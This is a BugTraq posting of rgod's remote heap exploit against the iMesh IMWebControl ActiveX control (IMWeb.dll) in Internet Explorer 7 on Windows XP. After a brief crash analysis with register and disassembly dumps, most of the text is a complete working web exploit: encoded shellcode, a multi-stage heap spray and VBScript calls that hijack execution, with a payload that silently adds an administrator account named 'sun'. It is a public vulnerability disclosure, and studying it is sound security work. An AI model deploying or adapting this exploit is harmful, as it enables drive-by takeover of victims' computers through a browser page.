BugTraq
iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) remote exploit Dec 18 2007 09:00AM
retrog alice it
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iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) remote heap exploit

(IE7/XP full patched)

by rgod, site: http://retrogod.altervista.org/

software site: http://www.imesh.com

"iMesh is a file sharing and online social network. It uses a proprietary,

centralized, P2P protocol. iMesh is owned by an American company iMesh,

Inc. and maintains a development center in Israel.

iMesh was the first company to introduce "swarming" - the ability to download

one file from multiple sources, increasing download speed."

This is the problem with Imesh client :

passing an empy value to ProcessRequestEx method

EAX 9F291974

ECX 4D554E00 WINHTTP.4D554E00

EDX 017EF438

EBX 00000000

ESP 017EF410

EBP 017EF430

ESI 017EF438

EDI 01F51FF8

EIP 01F23A9C IMWebCon.01F23A9C

...

01F23A90 8B8F A8000000 MOV ECX,DWORD PTR DS:[EDI+A8]

01F23A96 8B01 MOV EAX,DWORD PTR DS:[ECX]

01F23A98 52 PUSH EDX

01F23A99 8BD6 MOV EDX,ESI

01F23A9B 52 PUSH EDX

01F23A9C FF10 CALL DWORD PTR DS:[EAX] <----- crash

apparently this was unexploitable, ecx points to winhttp.dll which

keeps 0x9f291974, but I found that thru the SetHandler sub

you can hijack ecx to an arbitrary value...

So, setting the value to 218959117 you have:

EAX 017EF438

ECX 0D0D0D0D

EDX 017EF43C

EBX 00000000

ESP 017EF418

EBP 017EF430

ESI 017EF438

EDI 01EF1FF8

EIP 01EC3A96 IMWebCon.01EC3A96

...

01EC3A90 8B8F A8000000 MOV ECX,DWORD PTR DS:[EDI+A8]

01EC3A96 8B01 MOV EAX,DWORD PTR DS:[ECX] <------- crash

01EC3A98 52 PUSH EDX

01EC3A99 8BD6 MOV EDX,ESI

01EC3A9B 52 PUSH EDX

01EC3A9C FF10 CALL DWORD PTR DS:[EAX]

Access violation when reading 0D0D0D0D

Now it is exploitable...

This add an administrative account

I used various stages of heap spray, do not crash just freeze, worked fine, 80%

-->

<html>

<object classid='clsid:7C3B01BC-53A5-48A0-A43B-0C67731134B9' id='IMWebControl' /></object>

<SCRIPT language="javascript">

//add su one, user: sun pass: tzu

shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u
4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u
4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u
6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u
306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u
7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u
474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u
646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u
4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u
7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u
624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u
3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u
6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u
6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u
426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u
7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u
515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u
7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u
6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u
3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u
4734%u4570");

bigblock = unescape("%u9090%u9090");

headersize = 20;

slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (i=0;i<77;i++){memory[i] = block+shellcode}

bigblock = unescape("%u0707%u0707");

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

for (i=77;i<144;i++){memory[i] = block+shellcode}

bigblock = unescape("%u0909%u0909");

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

for (i=144;i<500;i++){memory[i] = block+shellcode}

</script>

<script language='vbscript'>

puf=218959117 'set ecx to 0x0d0d0d0d

IMWebControl.SetHandler puf

puf=""

IMWebControl.ProcessRequestEx puf

</script>

</html>

original url: http://retrogod.altervista.org/rgod_imesh.html

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